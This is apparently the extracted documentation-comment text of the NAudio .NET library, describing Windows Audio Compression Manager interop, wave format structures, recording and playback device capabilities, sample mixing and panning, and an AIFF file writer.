.acm or dll file containing the driver Handle to the driver Removes a driver previously added using AddLocalDriver Local driver to remove Show Format Choose Dialog Owner window handle, can be null Window title Enumeration flags. None to get everything Enumeration format. Only needed with certain enumeration flags The selected format Textual description of the selected format Textual description of the selected format tag True if a format was selected Finds a Driver by its short name Short Name The driver, or null if not found Gets a list of the ACM Drivers installed The callback for acmDriverEnum Creates a new ACM Driver object Driver handle ToString Gets all the supported formats for a given format tag Format tag Supported formats Opens this driver Closes this driver Dispose Gets the maximum size needed to store a WaveFormat for ACM interop functions The short name of this driver The full name of this driver The driver ID The list of FormatTags for this ACM Driver Interop structure for ACM driver details (ACMDRIVERDETAILS) http://msdn.microsoft.com/en-us/library/dd742889%28VS.85%29.aspx ACMDRIVERDETAILS_SHORTNAME_CHARS ACMDRIVERDETAILS_LONGNAME_CHARS ACMDRIVERDETAILS_COPYRIGHT_CHARS ACMDRIVERDETAILS_LICENSING_CHARS ACMDRIVERDETAILS_FEATURES_CHARS DWORD cbStruct FOURCC fccType FOURCC fccComp WORD wMid; WORD wPid DWORD vdwACM DWORD vdwDriver DWORD fdwSupport; DWORD cFormatTags DWORD cFilterTags HICON hicon TCHAR szShortName[ACMDRIVERDETAILS_SHORTNAME_CHARS]; TCHAR szLongName[ACMDRIVERDETAILS_LONGNAME_CHARS]; TCHAR szCopyright[ACMDRIVERDETAILS_COPYRIGHT_CHARS]; TCHAR szLicensing[ACMDRIVERDETAILS_LICENSING_CHARS]; TCHAR szFeatures[ACMDRIVERDETAILS_FEATURES_CHARS]; Flags indicating what support a particular ACM driver has ACMDRIVERDETAILS_SUPPORTF_CODEC - Codec ACMDRIVERDETAILS_SUPPORTF_CONVERTER - Converter ACMDRIVERDETAILS_SUPPORTF_FILTER - Filter ACMDRIVERDETAILS_SUPPORTF_HARDWARE - Hardware ACMDRIVERDETAILS_SUPPORTF_ASYNC - Async ACMDRIVERDETAILS_SUPPORTF_LOCAL - Local ACMDRIVERDETAILS_SUPPORTF_DISABLED - Disabled ACM_DRIVERENUMF_NOLOCAL, Only global drivers should be included in the enumeration ACM_DRIVERENUMF_DISABLED, Disabled ACM drivers should be included in the enumeration ACM Format Format Index Format Tag Support Flags WaveFormat WaveFormat Size Format Description ACMFORMATCHOOSE http://msdn.microsoft.com/en-us/library/dd742911%28VS.85%29.aspx DWORD cbStruct; DWORD fdwStyle; HWND hwndOwner; LPWAVEFORMATEX pwfx; DWORD cbwfx; LPCTSTR pszTitle; TCHAR szFormatTag[ACMFORMATTAGDETAILS_FORMATTAG_CHARS]; TCHAR szFormat[ACMFORMATDETAILS_FORMAT_CHARS]; LPTSTR pszName; n.b. can be written into DWORD cchName Should be at least 128 unless name is zero DWORD fdwEnum; LPWAVEFORMATEX pwfxEnum; HINSTANCE hInstance; LPCTSTR pszTemplateName; LPARAM lCustData; ACMFORMATCHOOSEHOOKPROC pfnHook; None ACMFORMATCHOOSE_STYLEF_SHOWHELP ACMFORMATCHOOSE_STYLEF_ENABLEHOOK ACMFORMATCHOOSE_STYLEF_ENABLETEMPLATE ACMFORMATCHOOSE_STYLEF_ENABLETEMPLATEHANDLE ACMFORMATCHOOSE_STYLEF_INITTOWFXSTRUCT ACMFORMATCHOOSE_STYLEF_CONTEXTHELP ACMFORMATDETAILS http://msdn.microsoft.com/en-us/library/dd742913%28VS.85%29.aspx ACMFORMATDETAILS_FORMAT_CHARS DWORD cbStruct; DWORD dwFormatIndex; DWORD dwFormatTag; DWORD fdwSupport; LPWAVEFORMATEX pwfx; DWORD cbwfx; TCHAR szFormat[ACMFORMATDETAILS_FORMAT_CHARS]; Format Enumeration Flags None ACM_FORMATENUMF_CONVERT The WAVEFORMATEX structure pointed to by the pwfx member of the ACMFORMATDETAILS structure is valid. The enumerator will only enumerate destination formats that can be converted from the given pwfx format. ACM_FORMATENUMF_HARDWARE The enumerator should only enumerate formats that are supported as native input or output formats on one or more of the installed waveform-audio devices. This flag provides a way for an application to choose only formats native to an installed waveform-audio device. This flag must be used with one or both of the ACM_FORMATENUMF_INPUT and ACM_FORMATENUMF_OUTPUT flags. Specifying both ACM_FORMATENUMF_INPUT and ACM_FORMATENUMF_OUTPUT will enumerate only formats that can be opened for input or output. This is true regardless of whether this flag is specified. ACM_FORMATENUMF_INPUT Enumerator should enumerate only formats that are supported for input (recording). ACM_FORMATENUMF_NCHANNELS The nChannels member of the WAVEFORMATEX structure pointed to by the pwfx member of the ACMFORMATDETAILS structure is valid. The enumerator will enumerate only a format that conforms to this attribute. ACM_FORMATENUMF_NSAMPLESPERSEC The nSamplesPerSec member of the WAVEFORMATEX structure pointed to by the pwfx member of the ACMFORMATDETAILS structure is valid. The enumerator will enumerate only a format that conforms to this attribute. ACM_FORMATENUMF_OUTPUT Enumerator should enumerate only formats that are supported for output (playback). ACM_FORMATENUMF_SUGGEST The WAVEFORMATEX structure pointed to by the pwfx member of the ACMFORMATDETAILS structure is valid. The enumerator will enumerate all suggested destination formats for the given pwfx format. This mechanism can be used instead of the acmFormatSuggest function to allow an application to choose the best suggested format for conversion. The dwFormatIndex member will always be set to zero on return. ACM_FORMATENUMF_WBITSPERSAMPLE The wBitsPerSample member of the WAVEFORMATEX structure pointed to by the pwfx member of the ACMFORMATDETAILS structure is valid. The enumerator will enumerate only a format that conforms to this attribute. ACM_FORMATENUMF_WFORMATTAG The wFormatTag member of the WAVEFORMATEX structure pointed to by the pwfx member of the ACMFORMATDETAILS structure is valid. The enumerator will enumerate only a format that conforms to this attribute. The dwFormatTag member of the ACMFORMATDETAILS structure must be equal to the wFormatTag member. ACM_FORMATSUGGESTF_WFORMATTAG ACM_FORMATSUGGESTF_NCHANNELS ACM_FORMATSUGGESTF_NSAMPLESPERSEC ACM_FORMATSUGGESTF_WBITSPERSAMPLE ACM_FORMATSUGGESTF_TYPEMASK ACM Format Tag Format Tag Index Format Tag Format Size Support Flags Standard Formats Count Format Description ACMFORMATTAGDETAILS_FORMATTAG_CHARS DWORD cbStruct; DWORD dwFormatTagIndex; DWORD dwFormatTag; DWORD cbFormatSize; DWORD fdwSupport; DWORD cStandardFormats; TCHAR szFormatTag[ACMFORMATTAGDETAILS_FORMATTAG_CHARS]; Interop definitions for Windows ACM (Audio Compression Manager) API http://msdn.microsoft.com/en-us/library/dd742916%28VS.85%29.aspx MMRESULT acmFormatSuggest( HACMDRIVER had, LPWAVEFORMATEX pwfxSrc, LPWAVEFORMATEX pwfxDst, DWORD cbwfxDst, DWORD fdwSuggest); http://msdn.microsoft.com/en-us/library/dd742928%28VS.85%29.aspx MMRESULT acmStreamOpen( LPHACMSTREAM phas, HACMDRIVER had, LPWAVEFORMATEX pwfxSrc, LPWAVEFORMATEX pwfxDst, LPWAVEFILTER pwfltr, DWORD_PTR dwCallback, DWORD_PTR dwInstance, DWORD fdwOpen A version with pointers for troubleshooting http://msdn.microsoft.com/en-us/library/dd742910%28VS.85%29.aspx UINT ACMFORMATCHOOSEHOOKPROC acmFormatChooseHookProc( HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam ACM_METRIC_COUNT_DRIVERS ACM_METRIC_COUNT_CODECS ACM_METRIC_COUNT_CONVERTERS ACM_METRIC_COUNT_FILTERS ACM_METRIC_COUNT_DISABLED ACM_METRIC_COUNT_HARDWARE ACM_METRIC_COUNT_LOCAL_DRIVERS ACM_METRIC_COUNT_LOCAL_CODECS ACM_METRIC_COUNT_LOCAL_CONVERTERS ACM_METRIC_COUNT_LOCAL_FILTERS ACM_METRIC_COUNT_LOCAL_DISABLED ACM_METRIC_HARDWARE_WAVE_INPUT ACM_METRIC_HARDWARE_WAVE_OUTPUT ACM_METRIC_MAX_SIZE_FORMAT ACM_METRIC_MAX_SIZE_FILTER ACM_METRIC_DRIVER_SUPPORT ACM_METRIC_DRIVER_PRIORITY AcmStream encapsulates an Audio Compression Manager Stream used to convert audio from one format to another Creates a new ACM stream to convert one format to another. Note that not all conversions can be done in one step The source audio format The destination audio format Creates a new ACM stream to convert one format to another, using a specified driver identified and wave filter the driver identifier the source format the wave filter Returns the number of output bytes for a given number of input bytes Number of input bytes Number of output bytes Returns the number of source bytes for a given number of destination bytes Number of destination bytes Number of source bytes Suggests an appropriate PCM format that the compressed format can be converted to in one step The compressed format The PCM format Report that we have repositioned in the source stream Converts the contents of the SourceBuffer into the DestinationBuffer The number of bytes in the SourceBuffer that need to be converted The number of source bytes actually converted The number of converted bytes in the DestinationBuffer Converts the contents of the SourceBuffer into the DestinationBuffer The number of bytes in the SourceBuffer that need to be converted The number of converted bytes in the DestinationBuffer Frees resources associated with this ACM Stream Frees resources associated with this ACM Stream Frees resources associated with this ACM Stream Returns the Source Buffer. Fill this with data prior to calling convert Returns the Destination buffer. This will contain the converted data after a successful call to Convert ACM_STREAMCONVERTF_BLOCKALIGN ACM_STREAMCONVERTF_START ACM_STREAMCONVERTF_END ACMSTREAMHEADER_STATUSF_DONE ACMSTREAMHEADER_STATUSF_PREPARED ACMSTREAMHEADER_STATUSF_INQUEUE Interop structure for ACM stream headers. ACMSTREAMHEADER http://msdn.microsoft.com/en-us/library/dd742926%28VS.85%29.aspx ACM_STREAMOPENF_QUERY, ACM will be queried to determine whether it supports the given conversion. A conversion stream will not be opened, and no handle will be returned in the phas parameter. ACM_STREAMOPENF_ASYNC, Stream conversion should be performed asynchronously. If this flag is specified, the application can use a callback function to be notified when the conversion stream is opened and closed and after each buffer is converted. In addition to using a callback function, an application can examine the fdwStatus member of the ACMSTREAMHEADER structure for the ACMSTREAMHEADER_STATUSF_DONE flag. ACM_STREAMOPENF_NONREALTIME, ACM will not consider time constraints when converting the data. By default, the driver will attempt to convert the data in real time. For some formats, specifying this flag might improve the audio quality or other characteristics. CALLBACK_TYPEMASK, callback type mask CALLBACK_NULL, no callback CALLBACK_WINDOW, dwCallback is a HWND CALLBACK_TASK, dwCallback is a HTASK CALLBACK_FUNCTION, dwCallback is a FARPROC CALLBACK_THREAD, thread ID replaces 16 bit task CALLBACK_EVENT, dwCallback is an EVENT Handle ACM_STREAMSIZEF_SOURCE ACM_STREAMSIZEF_DESTINATION Summary description for WaveFilter. cbStruct dwFilterTag fdwFilter reserved Manufacturer codes from mmreg.h Microsoft Corporation Creative Labs, Inc Media Vision, Inc. Fujitsu Corp. Artisoft, Inc. Turtle Beach, Inc. IBM Corporation Vocaltec LTD. Roland DSP Solutions, Inc. NEC ATI Wang Laboratories, Inc Tandy Corporation Voyetra Antex Electronics Corporation ICL Personal Systems Intel Corporation Advanced Gravis Video Associates Labs, Inc. InterActive Inc Yamaha Corporation of America Everex Systems, Inc Echo Speech Corporation Sierra Semiconductor Corp Computer Aided Technologies APPS Software International DSP Group, Inc microEngineering Labs Computer Friends, Inc. ESS Technology Audio, Inc. Motorola, Inc. Canopus, co., Ltd. Seiko Epson Corporation Truevision Aztech Labs, Inc. Videologic SCALACS Korg Inc. Audio Processing Technology Integrated Circuit Systems, Inc. Iterated Systems, Inc. Metheus Logitech, Inc. Winnov, Inc. NCR Corporation EXAN AST Research Inc. Willow Pond Corporation Sonic Foundry Vitec Multimedia MOSCOM Corporation Silicon Soft, Inc. Supermac Audio Processing Technology Speech Compression Ahead, Inc. Dolby Laboratories OKI AuraVision Corporation Ing C. Olivetti & C., S.p.A. I/O Magic Corporation Matsushita Electric Industrial Co., LTD. Control Resources Limited Xebec Multimedia Solutions Limited New Media Corporation Natural MicroSystems Lyrrus Inc. Compusic OPTi Computers Inc. Adlib Accessories Inc. Compaq Computer Corp. Dialogic Corporation InSoft, Inc. M.P. Technologies, Inc. Weitek Lernout & Hauspie Quanta Computer Inc. Apple Computer, Inc. Digital Equipment Corporation Mark of the Unicorn Workbit Corporation Ositech Communications Inc. miro Computer Products AG Cirrus Logic ISOLUTION B.V. Horizons Technology, Inc Computer Concepts Ltd Voice Technologies Group, Inc. Radius Rockwell International Co. XYZ for testing Opcode Systems Voxware Inc Northern Telecom Limited APICOM Grande Software ADDX Wildcat Canyon Software Rhetorex Inc Brooktree Corporation ENSONIQ Corporation FAST Multimedia AG NVidia Corporation OKSORI Co., Ltd. DiAcoustics, Inc. Gulbransen, Inc. Kay Elemetrics, Inc. Crystal Semiconductor Corporation Splash Studios Quarterdeck Corporation TDK Corporation Digital Audio Labs, Inc. Seer Systems, Inc. PictureTel Corporation AT&T Microelectronics Osprey Technologies, Inc. Mediatrix Peripherals SounDesignS M.C.S. Ltd. A.L. Digital Ltd. Spectrum Signal Processing, Inc. Electronic Courseware Systems, Inc. AMD Core Dynamics CANAM Computers Softsound, Ltd. Norris Communications, Inc. Danka Data Devices EuPhonics Precept Software, Inc. Crystal Net Corporation Chromatic Research, Inc Voice Information Systems, Inc Vienna Systems Connectix Corporation Gadget Labs LLC Frontier Design Group LLC Viona Development GmbH Casio Computer Co., LTD Diamond Multimedia S3 Fraunhofer Summary description for MmException. Creates a new MmException The result returned by the Windows API call The name of the Windows API that failed Helper function to automatically raise an exception on failure The result of the API call The API function name Returns the Windows API result Windows multimedia error codes from mmsystem.h. no error, MMSYSERR_NOERROR unspecified error, MMSYSERR_ERROR device ID out of range, MMSYSERR_BADDEVICEID driver failed enable, MMSYSERR_NOTENABLED device already allocated, MMSYSERR_ALLOCATED device handle is invalid, MMSYSERR_INVALHANDLE no device driver present, MMSYSERR_NODRIVER memory allocation error, MMSYSERR_NOMEM function isn't supported, MMSYSERR_NOTSUPPORTED error value out of range, MMSYSERR_BADERRNUM invalid flag passed, MMSYSERR_INVALFLAG invalid parameter passed, MMSYSERR_INVALPARAM handle being used simultaneously on another thread (eg callback),MMSYSERR_HANDLEBUSY specified alias not found, MMSYSERR_INVALIDALIAS bad registry database, MMSYSERR_BADDB registry key not found, MMSYSERR_KEYNOTFOUND registry read error, MMSYSERR_READERROR registry write error, MMSYSERR_WRITEERROR registry delete error, MMSYSERR_DELETEERROR registry value not found, MMSYSERR_VALNOTFOUND driver does not call DriverCallback, MMSYSERR_NODRIVERCB more data to be returned, MMSYSERR_MOREDATA unsupported wave format, WAVERR_BADFORMAT still something playing, WAVERR_STILLPLAYING header not prepared, WAVERR_UNPREPARED device is synchronous, WAVERR_SYNC Conversion not possible (ACMERR_NOTPOSSIBLE) Busy (ACMERR_BUSY) Header Unprepared (ACMERR_UNPREPARED) Cancelled (ACMERR_CANCELED) invalid line (MIXERR_INVALLINE) invalid control (MIXERR_INVALCONTROL) invalid value (MIXERR_INVALVALUE) WaveHeader interop structure (WAVEHDR) http://msdn.microsoft.com/en-us/library/dd743837%28VS.85%29.aspx pointer to locked data buffer (lpData) length of data buffer (dwBufferLength) used for input only (dwBytesRecorded) for client's use (dwUser) assorted flags (dwFlags) loop control counter (dwLoops) PWaveHdr, reserved for driver (lpNext) reserved for driver Wave Header Flags enumeration WHDR_BEGINLOOP This buffer is the first buffer in a loop. This flag is used only with output buffers. WHDR_DONE Set by the device driver to indicate that it is finished with the buffer and is returning it to the application. WHDR_ENDLOOP This buffer is the last buffer in a loop. This flag is used only with output buffers. WHDR_INQUEUE Set by Windows to indicate that the buffer is queued for playback. WHDR_PREPARED Set by Windows to indicate that the buffer has been prepared with the waveInPrepareHeader or waveOutPrepareHeader function. WASAPI Loopback Capture based on a contribution from "Pygmy" - http://naudio.codeplex.com/discussions/203605 Initialises a new instance of the WASAPI capture class Initialises a new instance of the WASAPI capture class Capture device to use Gets the default audio loopback capture device The default audio loopback capture device Specify loopback Recording wave format Allows recording using the Windows waveIn APIs Events are raised as recorded buffers are made available Prepares a Wave input device for recording Creates a WaveIn device using the specified window handle for callbacks A valid window handle Prepares a Wave input device for recording Retrieves the capabilities of a waveIn device Device to test The WaveIn device capabilities Called when we get a new buffer of recorded data Start recording Stop recording Dispose pattern Microphone Level Dispose method Indicates recorded data is available Indicates that all recorded data has now been received. Returns the number of Wave In devices available in the system Milliseconds for the buffer. Recommended value is 100ms Number of Buffers to use (usually 2 or 3) The device number to use WaveFormat we are recording in WaveInCapabilities structure (based on WAVEINCAPS2 from mmsystem.h) http://msdn.microsoft.com/en-us/library/ms713726(VS.85).aspx wMid wPid vDriverVersion Product Name (szPname) Supported formats (bit flags) dwFormats Supported channels (1 for mono 2 for stereo) (wChannels) Seems to be set to -1 on a lot of devices wReserved1 Checks to see if a given SupportedWaveFormat is supported The SupportedWaveFormat true if supported Number of channels supported The product name The device name Guid (if provided) The product name Guid (if provided) The manufacturer guid (if provided) The device name from the registry if supported Event Args for WaveInStream event Creates new WaveInEventArgs Buffer containing recorded data. Note that it might not be completely full. The number of recorded bytes in Buffer. MME Wave function interop CALLBACK_NULL No callback CALLBACK_FUNCTION dwCallback is a FARPROC CALLBACK_EVENT dwCallback is an EVENT handle CALLBACK_WINDOW dwCallback is a HWND CALLBACK_THREAD callback is a thread ID WIM_OPEN WIM_CLOSE WIM_DATA WOM_CLOSE WOM_DONE WOM_OPEN WaveOutCapabilities structure (based on WAVEOUTCAPS2 from mmsystem.h) http://msdn.microsoft.com/library/default.asp?url=/library/en-us/multimed/htm/_win32_waveoutcaps_str.asp wMid wPid vDriverVersion Product Name (szPname) Supported formats (bit flags) dwFormats Supported channels (1 for mono 2 for stereo) (wChannels) Seems to be set to -1 on a lot of devices wReserved1 Optional functionality supported by the device Checks to see if a given SupportedWaveFormat is supported The SupportedWaveFormat true if supported Number of channels supported Whether playback control is supported The product name The device name Guid (if provided) The product name Guid (if provided) The manufacturer guid (if provided) Supported wave formats for WaveOutCapabilities 11.025 kHz, Mono, 8-bit 11.025 kHz, Stereo, 8-bit 11.025 kHz, Mono, 16-bit 11.025 kHz, Stereo, 16-bit 22.05 kHz, Mono, 8-bit 22.05 kHz, Stereo, 8-bit 22.05 kHz, Mono, 16-bit 22.05 kHz, Stereo, 16-bit 44.1 kHz, Mono, 8-bit 44.1 kHz, Stereo, 8-bit 44.1 kHz, Mono, 16-bit 44.1 kHz, Stereo, 16-bit 44.1 kHz, Mono, 8-bit 44.1 kHz, Stereo, 8-bit 44.1 kHz, Mono, 16-bit 44.1 kHz, Stereo, 16-bit 48 kHz, Mono, 8-bit 48 kHz, Stereo, 8-bit 48 kHz, Mono, 16-bit 48 kHz, Stereo, 16-bit 96 kHz, Mono, 8-bit 96 kHz, Stereo, 8-bit 96 kHz, Mono, 16-bit 96 kHz, Stereo, 16-bit Flags indicating what features this WaveOut device supports supports pitch control (WAVECAPS_PITCH) supports playback rate control (WAVECAPS_PLAYBACKRATE) supports volume control (WAVECAPS_VOLUME) supports separate left-right volume control (WAVECAPS_LRVOLUME) (WAVECAPS_SYNC) (WAVECAPS_SAMPLEACCURATE) Sample provider interface to make WaveChannel32 extensible Still a bit ugly, hence internal at the moment - and might even make these into bit depth converting WaveProviders A sample provider mixer, allowing inputs to be added and removed Creates a new MixingSampleProvider, with no inputs, but a specified WaveFormat The WaveFormat of this mixer. All inputs must be in this format Creates a new MixingSampleProvider, based on the given inputs Mixer inputs - must all have the same waveformat, and must all be of the same WaveFormat. There must be at least one input Adds a WaveProvider as a Mixer input. Must be PCM or IEEE float already IWaveProvider mixer input Adds a new mixer input Mixer input Removes a mixer input Mixer input to remove Removes all mixer inputs Reads samples from this sample provider Sample buffer Offset into sample buffer Number of samples required Number of samples read When set to true, the Read method always returns the number of samples requested, even if there are no inputs, or if the current inputs reach their end. Setting this to true effectively makes this a never-ending sample provider, so take care if you plan to write it out to a file. The output WaveFormat of this sample provider Converts a mono sample provider to stereo, with a customisable pan strategy Initialises a new instance of the PanningSampleProvider Source sample provider, must be mono Reads samples from this sample provider Sample buffer Offset into sample buffer Number of samples desired Number of samples read Pan value, must be between -1 (left) and 1 (right) The pan strategy currently in use The WaveFormat of this sample provider Pair of floating point values, representing samples or multipliers Left value Right value Required Interface for a Panning Strategy Gets the left and right multipliers for a given pan value Pan value from -1 to 1 Left and right multipliers in a stereo sample pair Simplistic "balance" control - treating the mono input as if it was stereo In the centre, both channels full volume. Opposite channel decays linearly as balance is turned to to one side Gets the left and right channel multipliers for this pan value Pan value, between -1 and 1 Left and right multipliers Square Root Pan, thanks to Yuval Naveh Gets the left and right channel multipliers for this pan value Pan value, between -1 and 1 Left and right multipliers Sinus Pan, thanks to Yuval Naveh Gets the left and right channel multipliers for this pan value Pan value, between -1 and 1 Left and right multipliers Linear Pan Gets the left and right channel multipliers for this pan value Pan value, between -1 and 1 Left and right multipliers GSM 610 Represents a Wave file format format type number of channels sample rate for buffer estimation block size of data number of bits per sample of mono data number of following bytes Creates a new PCM 44.1Khz stereo 16 bit format Creates a new 16 bit wave format with the specified sample rate and channel count Sample Rate Number of channels Gets the size of a wave buffer equivalent to the latency in milliseconds. The milliseconds. Creates a WaveFormat with custom members The encoding Sample Rate Number of channels Average Bytes Per Second Block Align Bits Per Sample Creates an A-law wave format Sample Rate Number of Channels Wave Format Creates a Mu-law wave format Sample Rate Number of Channels Wave Format Creates a new PCM format with the specified sample rate, bit depth and channels Creates a new 32 bit IEEE floating point wave format sample rate number of channels Helper function to retrieve a WaveFormat structure from a pointer WaveFormat structure Helper function to marshal WaveFormat to an IntPtr WaveFormat IntPtr to WaveFormat structure (needs to be freed by callee) Reads in a WaveFormat (with extra data) from a fmt chunk (chunk identifier and length should already have been read) Binary reader Format chunk length A WaveFormatExtraData Reads a new WaveFormat object from a stream A binary reader that wraps the stream Reports this WaveFormat as a string String describing the wave format Compares with another WaveFormat object Object to compare to True if the objects are the same Provides a Hashcode for this WaveFormat A hashcode Writes this WaveFormat object to a stream the output stream Returns the encoding type used Returns the number of channels (1=mono,2=stereo etc) Returns the sample rate (samples per second) Returns the average number of bytes used per second Returns the block alignment Returns the number of bits per sample (usually 16 or 32, sometimes 24 or 8) Can be 0 for some codecs Returns the number of extra bytes used by this waveformat. Often 0, except for compressed formats which store extra data after the WAVEFORMATEX header Creates a GSM 610 WaveFormat For now hardcoded to 13kbps Writes this structure to a BinaryWriter Samples per block IMA/DVI ADPCM Wave Format Work in progress parameterless constructor for Marshalling Creates a new IMA / DVI ADPCM Wave Format Sample Rate Number of channels Bits Per Sample MP3 WaveFormat, MPEGLAYER3WAVEFORMAT from mmreg.h Wave format ID (wID) Padding flags (fdwFlags) Block Size (nBlockSize) Frames per block (nFramesPerBlock) Codec Delay (nCodecDelay) Creates a new MP3 WaveFormat Wave Format Padding Flags MPEGLAYER3_FLAG_PADDING_ISO MPEGLAYER3_FLAG_PADDING_ON MPEGLAYER3_FLAG_PADDING_OFF Wave Format ID MPEGLAYER3_ID_UNKNOWN MPEGLAYER3_ID_MPEG MPEGLAYER3_ID_CONSTANTFRAMESIZE DSP Group TrueSpeech DSP Group TrueSpeech WaveFormat Writes this structure to a BinaryWriter Microsoft ADPCM See http://icculus.org/SDL_sound/downloads/external_documentation/wavecomp.htm Empty constructor needed for marshalling from a pointer Microsoft ADPCM Sample Rate Channels Serializes this wave format Binary writer String Description of this WaveFormat Samples per block Number of coefficients Coefficients Custom marshaller for WaveFormat structures Gets the instance of this marshaller Clean up managed data Clean up native data Get native data size Marshal managed to native Marshal Native to Managed Summary description for WaveFormatEncoding. WAVE_FORMAT_UNKNOWN, Microsoft Corporation WAVE_FORMAT_PCM Microsoft Corporation WAVE_FORMAT_ADPCM Microsoft Corporation WAVE_FORMAT_IEEE_FLOAT Microsoft Corporation WAVE_FORMAT_VSELP Compaq Computer Corp. WAVE_FORMAT_IBM_CVSD IBM Corporation WAVE_FORMAT_ALAW Microsoft Corporation WAVE_FORMAT_MULAW Microsoft Corporation WAVE_FORMAT_DTS Microsoft Corporation WAVE_FORMAT_DRM Microsoft Corporation WAVE_FORMAT_WMAVOICE9 WAVE_FORMAT_OKI_ADPCM OKI WAVE_FORMAT_DVI_ADPCM Intel Corporation WAVE_FORMAT_IMA_ADPCM Intel Corporation WAVE_FORMAT_MEDIASPACE_ADPCM Videologic WAVE_FORMAT_SIERRA_ADPCM Sierra Semiconductor Corp WAVE_FORMAT_G723_ADPCM Antex Electronics Corporation WAVE_FORMAT_DIGISTD DSP Solutions, Inc. WAVE_FORMAT_DIGIFIX DSP Solutions, Inc. WAVE_FORMAT_DIALOGIC_OKI_ADPCM Dialogic Corporation WAVE_FORMAT_MEDIAVISION_ADPCM Media Vision, Inc. WAVE_FORMAT_CU_CODEC Hewlett-Packard Company WAVE_FORMAT_YAMAHA_ADPCM Yamaha Corporation of America WAVE_FORMAT_SONARC Speech Compression WAVE_FORMAT_DSPGROUP_TRUESPEECH DSP Group, Inc WAVE_FORMAT_ECHOSC1 Echo Speech Corporation WAVE_FORMAT_AUDIOFILE_AF36, Virtual Music, Inc. WAVE_FORMAT_APTX Audio Processing Technology WAVE_FORMAT_AUDIOFILE_AF10, Virtual Music, Inc. WAVE_FORMAT_PROSODY_1612, Aculab plc WAVE_FORMAT_LRC, Merging Technologies S.A. WAVE_FORMAT_DOLBY_AC2, Dolby Laboratories WAVE_FORMAT_GSM610, Microsoft Corporation WAVE_FORMAT_MSNAUDIO, Microsoft Corporation WAVE_FORMAT_ANTEX_ADPCME, Antex Electronics Corporation WAVE_FORMAT_CONTROL_RES_VQLPC, Control Resources Limited WAVE_FORMAT_DIGIREAL, DSP Solutions, Inc. WAVE_FORMAT_DIGIADPCM, DSP Solutions, Inc. WAVE_FORMAT_CONTROL_RES_CR10, Control Resources Limited WAVE_FORMAT_MPEG, Microsoft Corporation WAVE_FORMAT_MPEGLAYER3, ISO/MPEG Layer3 Format Tag WAVE_FORMAT_GSM WAVE_FORMAT_G729 WAVE_FORMAT_G723 WAVE_FORMAT_ACELP WAVE_FORMAT_RAW_AAC1 Windows Media Audio, WAVE_FORMAT_WMAUDIO2, Microsoft Corporation Windows Media Audio Professional WAVE_FORMAT_WMAUDIO3, Microsoft Corporation Windows Media Audio Lossless, WAVE_FORMAT_WMAUDIO_LOSSLESS Windows Media Audio Professional over SPDIF WAVE_FORMAT_WMASPDIF (0x0164) Advanced Audio Coding (AAC) audio in Audio Data Transport Stream (ADTS) format. The format block is a WAVEFORMATEX structure with wFormatTag equal to WAVE_FORMAT_MPEG_ADTS_AAC. The WAVEFORMATEX structure specifies the core AAC-LC sample rate and number of channels, prior to applying spectral band replication (SBR) or parametric stereo (PS) tools, if present. No additional data is required after the WAVEFORMATEX structure. http://msdn.microsoft.com/en-us/library/dd317599%28VS.85%29.aspx Source wmCodec.h MPEG-4 audio transport stream with a synchronization layer (LOAS) and a multiplex layer (LATM). The format block is a WAVEFORMATEX structure with wFormatTag equal to WAVE_FORMAT_MPEG_LOAS. The WAVEFORMATEX structure specifies the core AAC-LC sample rate and number of channels, prior to applying spectral SBR or PS tools, if present. No additional data is required after the WAVEFORMATEX structure. http://msdn.microsoft.com/en-us/library/dd317599%28VS.85%29.aspx NOKIA_MPEG_ADTS_AAC Source wmCodec.h NOKIA_MPEG_RAW_AAC Source wmCodec.h VODAFONE_MPEG_ADTS_AAC Source wmCodec.h VODAFONE_MPEG_RAW_AAC Source wmCodec.h High-Efficiency Advanced Audio Coding (HE-AAC) stream. The format block is an HEAACWAVEFORMAT structure. http://msdn.microsoft.com/en-us/library/dd317599%28VS.85%29.aspx WAVE_FORMAT_DVM WAVE_FORMAT_VORBIS1 "Og" Original stream compatible WAVE_FORMAT_VORBIS2 "Pg" Have independent header WAVE_FORMAT_VORBIS3 "Qg" Have no codebook header WAVE_FORMAT_VORBIS1P "og" Original stream compatible WAVE_FORMAT_VORBIS2P "pg" Have independent headere WAVE_FORMAT_VORBIS3P "qg" Have no codebook header WAVE_FORMAT_EXTENSIBLE WaveFormatExtensible http://www.microsoft.com/whdc/device/audio/multichaud.mspx Parameterless constructor for marshalling Creates a new WaveFormatExtensible for PCM or IEEE WaveFormatExtensible for PCM or floating point can be awkward to work with This creates a regular WaveFormat structure representing the same audio format Serialize String representation SubFormat (may be one of AudioMediaSubtypes) This class used for marshalling from unmanaged code parameterless constructor for marshalling Reads this structure from a BinaryReader Writes this structure to a BinaryWriter Allows the extra data to be read The WMA wave format. May not be much use because WMA codec is a DirectShow DMO not an ACM This class writes audio data to a .aif file on disk Creates an Aiff file by reading all the data from a WaveProvider BEWARE: the WaveProvider MUST return 0 from its Read method when it is finished, or the Aiff File will grow indefinitely. The filename to use The source WaveProvider AiffFileWriter that actually writes to a stream Stream to be written to Wave format to use Creates a new AiffFileWriter The filename to write to The Wave Format of the output data Read is not supported for a AiffFileWriter Seek is not supported for a AiffFileWriter SetLength is not supported for AiffFileWriter Appends bytes to the AiffFile (assumes they are already in the correct format) the buffer containing the wave data the offset from which to start writing the number of bytes to write Writes a single sample to the Aiff file the sample to write (assumed floating point with 1.0f as max value) Writes 32 bit floating point samples to the Aiff file They will be converted to the appropriate bit depth depending on the WaveFormat of the AIF file The buffer containing the floating point samples The offset from which to start writing The number of floating point samples to write Writes 16 bit samples to the Aiff file The buffer containing the 16 bit samples The offset from which to start writing The number of 16 bit samples to write Ensures data is written to disk Actually performs the close,making sure the header contains the correct data True if called from Dispose Updates the header with file size information Finaliser - should only be called if the user forgot to close this AiffFileWriter The aiff file name or null if not applicable Number of bytes of audio in the data chunk WaveFormat of this aiff file Returns false: Cannot read from a AiffFileWriter Returns true: Can write to a AiffFileWriter Returns false: Cannot seek within a AiffFileWriter Gets the Position in the AiffFile (i.e. number of bytes written so far) Raised when ASIO data has been recorded. It is important to handle this as quickly as possible as it is in the buffer callback Initialises a new instance of AsioAudioAvailableEventArgs Pointers to the ASIO buffers for each channel Pointers to the ASIO buffers for each channel Number of samples in each buffer Audio format within each buffer Converts all the recorded audio into a buffer of 32 bit floating point samples, interleaved by channel The samples as 32 bit floating point, interleaved Gets as interleaved samples, allocating a float array The samples as 32 bit floating point values Pointer to a buffer per input channel Pointer to a buffer per output channel Allows you to write directly to the output buffers If you do so, set SamplesPerBuffer = true, and make sure all buffers are written to with valid data Set to true if you have written to the output buffers 